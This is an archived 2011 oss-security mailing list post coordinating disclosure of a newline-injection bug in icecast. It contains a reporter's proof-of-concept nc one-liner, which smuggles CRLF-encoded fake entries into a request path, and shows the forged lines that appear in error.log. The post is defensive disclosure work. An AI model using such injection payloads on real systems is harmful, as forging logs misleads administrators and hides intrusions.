Date: Thu, 15 Dec 2011 12:25:40 -0600 From: Jamie Strandboge <jamie@...onical.com> To: icecast-dev@...h.org Cc: oss-security@...ts.openwall.com, security@...ntu.com, security@...itz-naumann.com Subject: Security issue in icecast A security bug was reported by Moritz Naumann against icecast in Ubuntu. You are being emailed as the upstream contact. Please keep oss-security@...ts.openwall.com CC'd for any updates on this issue. This issue should be considered public and has not yet been assigned a CVE. Details from the public bug follow: https://launchpad.net/bugs/894782 From the reporter: "Newline injection in error.log Running this command against an icecast2 running on 127.0.0.1... echo -ne "GET /non-existent"'"'"%20No%20such%20file%20or%20directory%0d% 0a[1970-01-01%20%2000:00:00]%20PHUN%20I'm%20feeling%20phunny%0d% 0a["`date "+%Y-%m-%d%%20%%20%H:%M:%S"`"]%20WARN% 20fserve/fserve_client_create%20req%20for%20file% 20"'"'"/usr/share/icecast2/web/ HTTP/1.0\n\n" | nc -vv 127.0.0.1 8000 > /dev/null ...causes the following to be written to /var/log/icecast2/error.log: [2011-11-25 15:37:31] INFO fserve/fserve_client_create checking for file /non-existent" No such file or directory [1970-01-01 00:00:00] PHUN I'm feeling phunny ..." Thanks in advance for your cooperation in coordinating a fix for this issue.  oss-security@...ts.openwall.com is a public mailing list for people to collaborate on security vulnerabilities and coordinate security updates. -- Jamie Strandboge | http://www.canonical.com Download attachment "signature.asc" of type "application/pgp-signature" (837 bytes)
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.